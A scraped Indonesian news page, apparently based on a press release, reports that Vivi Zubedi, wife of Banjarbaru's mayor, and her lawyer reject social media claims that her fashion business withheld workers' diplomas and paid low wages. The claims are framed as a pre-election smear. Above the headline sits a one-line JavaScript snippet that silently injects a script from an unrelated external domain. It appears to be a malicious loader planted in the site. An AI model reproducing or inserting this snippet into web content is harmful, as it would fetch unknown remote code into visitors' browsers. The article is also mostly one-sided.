(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Vivi Zubedi ‘Diserang’ di Medsos, VZ: Saya Pastikan Itu Fitnah Keji!


KANALKALIMANTAN,COM, BANJARBARU – Vivi Mar’i Zubedi, istri Wali Kota Banjarbaru Aditya Mufti Ariffin ‘diserang’ fitnah di media sosial.

Jelang penetapan pasangan calon kepada daerah untuk Pilkada Banjarbaru, kampanye negatif tak cuma menyerang personal petahana Aditya, kali ini menyerang sang istri, Vivi Zubedi (VZ).

Dalam salah satu pemberitaan dan dipublikasikan lewat jejaring media sosial Instagram, Vivi Zubedi dituduh melakukan hal seenaknya terhadap karyawan bisnis fashion yang dikelolanya. Bahkan dalam pemberitaan media itu, warganet ikut mencibir bisnis fashion Vivi Zubedi yang berada di Jambi.

Baca juga: 21 September: Hari Alzheimer Sedunia

Dalam tulisan pemberitaan itu, managemen bisnis fashion Vivi Zubedi disebut menahan ijazah asli milik sejumlah karyawan, serta memberikan upah yang dinilai jauh dari kata layak.

“Bu Vivi, kenapa ya kerja di Vivizubedi di Kota Jambi gajinya gak sesuai dengan pekerjaannya dan jauh sekali dari UMR Kota Jambi, tapi dituntut ijazah asli ditahan dan hp disita 12 jam selama kerja. Kalau resign ijazah asli tidak dikembalikan,” tulis orang yang mengaku karyawan Vivi Zubedi di Jambi.

Vivi Zubedi secara langsung dan tegas menyampaikan klarifikasi terkait isu tersebut. Melalui akun Instagram bercontreng biru @mrsvivi, VZ menulis, “Maa syaa Allah ramainya..❤ Pertama2 terima kasih telah mempromosikan saya secara gratis.. Terkadang bad news is a good news.. Kedua, saya pastikan berita diatas adalah fitnah yg keji. Semua kegiatan dan kontrak kerja di perusahaan saya mengacu kpd SOP & UU Ketenagakerjaan yg berlaku di Indonesia. Jika ingin fair tanpa fitnah tanpa buzzer bayaran, silahkan wawancarai semua karyawan2 saya tanpa terkecuali. Wawancaranya real tapi ya jangan ngaku2 sbg karyawan saya. Ketiga, ‘oknum’ yg comment sbg korban tsb bukanlah karyawan saya ataupun karyawan @vivizubedijambi spt yg disebutkan, silahkan langsung konfirmasi ke owner VZ Jambi @w1ndha untuk mengetahui kebenarannya. Ketiga, admin jangan lupa minta bayaran dinaikkan sama boss yang pesan berita ini karena dgn ini pian telah menggadaikan akhirat pian, rugi kalau bayarannya nggak setimpal Barakallahu fiikum..”. VZ menulis lewat akun @mrsvivi pada Jumat (20/9/2024) sekitar pukul 20.00 Wita.

Baca juga: Aktivis Kalsel Desak Gubernur Kalsel Copot Madun dari Kadisdikbud

Di sisi lain, bantahan keras juga datang dari legal lawyer Vivi Zubedi, Deni. Deni mengatakan, pemberitaan yang beredar adalah hoax.

“Akun medsos yang disebutkan tak jelas dan tidak bisa dipercaya kepemilikannya. Dia bilang tidak sesuai UMR, UMR yang dimaksud berapa? Kalo memang ada slip gaji gapapa buktikan, nanti akan kita konfirmasi, kalau memang dia bekas pegawai atau pegawai VZ,” tegasnya.

Deni juga menyebut, pihak manajemen karyawan bersama partner itu sifatnya friendrising, dimana tanggung jawab sepenuhnya di daerah, ketika memasuki wilayah pengaturan kepegawaian pada partner.

“Partner kita itu tidak hanya friendrising dengan satu merk tapi juga dengan beberapa merk lain jadi memang itu tanggung jawab dia mengatur SDM sendiri-sendiri,” lanjutnya.

Baca juga: MUI Pusat Imbau Seluruh Pengurus Bersikap Independen dalam Pilkada

Deni bahkan secara blakblakan menyebut bahwa media yang menyebar berita fitnah tersebut perlu dipertanyakan kredibilitas. Sebab dia sendiri bingung bagaimana bisa tulisan dalam kolom komentar Vivi Zubedi justru dianggap sebagai hasil konfirmasi dan dimuat sebagai berita.

“Maaf aja itu komen di postingan medsos, saya ga percaya media itu, justru menerimanya sebagai sumber mengatasnamakan kita. Kalau ada fakta terus kami dibelok-belokan gapapa. Tapi ini masalahnya, apa benar bekas karyawan atau memang bekerja, kita juga gatau, orangnya pun ga jelas,” pungkasnya.

Serangan ke personal VZ ini menjadi alarm pengingat suhu politik jelang Pilwali Banjarbaru semakin meningkat tensinya. Diduga ada upaya menyudutkan salah satu paslon jelang penetapan calon wali kota dan wakil wali kota oleh KPU Banjarbaru pada Minggu 22 September 2024.

Sebelumnya, Wali Kota Banjarbaru Aditya juga sempat dikabarkan meratakan kawasan kuliner Minggu Raya yang berada pusat jantung kota Banjarbaru, menjadi kawasan parkir. Padahal tak pernah sekalipun selama menjadi Wali Kota Banjarbaru memikirkan rencana kebijakan tersebut. (Kanalkalimantan.com/rls)

Reporter: rls
Editor: kk


Muhammad Andi

Recent Posts

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

1 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

2 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

2 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

2 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

14 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

15 jam ago

This website uses cookies.